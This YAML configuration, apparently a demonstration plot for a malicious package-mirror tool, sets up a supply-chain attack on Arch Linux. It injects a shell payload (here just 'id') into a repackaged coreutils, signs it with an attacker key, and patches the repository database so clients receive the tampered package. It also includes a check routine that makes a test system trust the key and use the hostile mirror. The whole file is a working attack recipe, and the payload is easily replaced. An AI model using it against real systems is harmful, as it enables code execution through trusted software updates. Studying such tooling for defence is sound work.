---
upstreams:
archlinux:
url: https://geo.mirror.pkgbuild.com/
signing_keys:
legit:
type: pgp
uids: ["John Doe <no-reply@example.com>"]
artifacts:
upstream_db:
type: url
url: https://geo.mirror.pkgbuild.com/core/os/x86_64/core.db
upstream_release:
type: pacman-pkg
artifact: upstream_db
url: https://geo.mirror.pkgbuild.com/core/os/x86_64/
pkg:
name: coreutils
upstream_pkg:
type: url
url_template: '{{url}}'
template_metadata: upstream_release
infected_pkg:
type: infect
infect: pacman
artifact: upstream_pkg
set:
pkgver:
- 999-1
payload: |
id
infected_sig:
type: signature
artifact: infected_pkg
sign_with: legit
check:
image: archlinux
install_keys:
- key: legit
cmd: "tee /tmp/pwn.pgp > /dev/null"
cmds:
- ["pacman-key", "--init"]
- ["pacman-key", "--add", "/tmp/pwn.pgp"]
- ["pacman-key", "--lsign", "John Doe <no-reply@example.com>"]
- 'echo "Server = http://${SH4D0WUP_BOUND_ADDR}/\$repo/os/\$arch" | tee /etc/pacman.d/mirrorlist'
- ["pacman", "-Suy", "--noconfirm"]
routes:
- path: "/core/os/x86_64/core.db"
type: patch-pacman-db
args:
upstream: archlinux
patch:
- name: coreutils
artifact: infected_pkg
signature: infected_sig
set:
"%VERSION%":
- 999-1
"%FILENAME%":
- "coreutils-999-1-x86_64.pkg.tar.zst"
exclude:
- name: amd-ucode
- path: "/core/os/x86_64/coreutils-999-1-x86_64.pkg.tar.zst"
type: static
args:
artifact: infected_pkg
- path: "/core/os/x86_64/coreutils-999-1-x86_64.pkg.tar.zst.sig"
type: static
args:
artifact: infected_sig
- type: proxy
args:
upstream: archlinux